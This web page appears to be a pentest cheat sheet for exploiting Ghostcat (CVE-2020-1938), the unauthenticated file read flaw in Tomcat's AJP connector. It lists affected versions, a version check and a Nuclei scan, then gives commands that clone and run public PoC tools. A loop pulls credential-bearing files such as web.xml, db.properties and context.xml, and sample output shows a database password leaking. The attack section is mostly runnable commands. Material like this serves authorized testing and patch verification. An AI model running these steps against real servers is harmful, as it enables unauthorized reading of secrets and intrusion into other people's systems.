Skip to content
HackIndex logo

HackIndex

Ghostcat — Tomcat AJP File Read (CVE-2020-1938)

3 min read Mar 30, 2026

CVE-2020-1938 (Ghostcat) is an unauthenticated file read vulnerability in the Tomcat AJP connector. When AJP is exposed and the target version is vulnerable, an attacker can read any file from within the web application's deployment directory — including WEB-INF/web.xml, configuration files, and JSP source. In some configurations it also enables remote code execution via file inclusion. Confirm the Tomcat version before testing.

Affected Versions

Branch

Vulnerable

Fixed in

9.x

9.0.0.M1 – 9.0.30

9.0.31

8.5.x

8.5.0 – 8.5.50

8.5.51

8.0.x

8.0.0.RC1 – 8.0.53

End of life — no fix

7.x

7.0.0 – 7.0.99

7.0.100

Confirm Version Before Testing

┌──(kali㉿kali)-[~]
└─$ curl -sk http://$TARGET_IP:8080/doesnotexist | grep -i 'Apache Tomcat'
<h3>Apache Tomcat/9.0.30</h3>

Version 9.0.30 is in the vulnerable range 9.0.0.M1 – 9.0.30. AJP on port 8009 must also be reachable. Confirm both before running the PoC.

Test with Nuclei

Nuclei has a template for Ghostcat detection that confirms exploitability without requiring manual setup:

┌──(kali㉿kali)-[~]
└─$ nuclei -u http://$TARGET_IP:8080/ -tags cve2020-1938,ghostcat,tomcat -severity critical
[CVE-2020-1938] [critical] http://10.10.10.50:8080 [Apache Tomcat AJP File Inclusion]
Explain command
-u Specifies the target URL to scan.
http://$TARGET_IP:8080/ Target URL with placeholder IP and port 8080.
-tags Filters templates to run by specified tags.
cve2020-1938,ghostcat,tomcat Tags targeting CVE-2020-1938 (Ghostcat) and Tomcat templates.
-severity Filters templates by severity level.
critical Runs only templates rated as critical severity.

PoC — Read WEB-INF/web.xml

Use the Ghostcat Python PoC to read files from the web application directory via the AJP connector:

┌──(kali㉿kali)-[~]
└─$ git clone https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi && cd CNVD-2020-10487-Tomcat-Ajp-lfi
┌──(kali㉿kali)-[~]
└─$ python3 Tomcat-Ajp-lfi.py $TARGET_IP -p 8009 -f WEB-INF/web.xml
<?xml version="1.0" encoding="UTF-8"?>
<web-app>
  <display-name>MyApp</display-name>
  <context-param>
    <param-name>DB_PASSWORD</param-name>
    <param-value>SuperSecret123!</param-value>
  </context-param>
</web-app>
Explain command
$TARGET_IP Target host IP address passed as positional argument.
-p 8009 Specifies the AJP connector port to target (default AJP is 8009).
-f WEB-INF/web.xml File path to read via LFI through the AJP connector vulnerability.

web.xml is the primary target — it often contains database credentials, API keys, and application configuration. Additional high-value targets within the web application directory:

┌──(kali㉿kali)-[~]
└─$ for file in WEB-INF/web.xml WEB-INF/classes/application.properties WEB-INF/classes/db.properties conf/context.xml; do
echo "=== $file ==="
python3 Tomcat-Ajp-lfi.py $TARGET_IP -p 8009 -f $file 2>/dev/null | head -10
done

Ghostcat via ajpfuzzer

ajpfuzzer is an alternative tool that provides more control over the AJP request attributes:

┌──(kali㉿kali)-[~]
└─$ git clone https://github.com/hypn0s/AJPy && cd AJPy
┌──(kali㉿kali)-[~]
└─$ python3 tomcat.py file_read $TARGET_IP --port 8009 --file WEB-INF/web.xml
Explain command
https://github.com/hypn0s/AJPy URL of the remote repository to clone.
file_read AJPy module action to read a file via AJP protocol.
$TARGET_IP Placeholder for the target host running Tomcat AJP.
--port 8009 Specifies AJP connector port (default Tomcat AJP port is 8009).
--file WEB-INF/web.xml Path to the file to read from the target web application.

References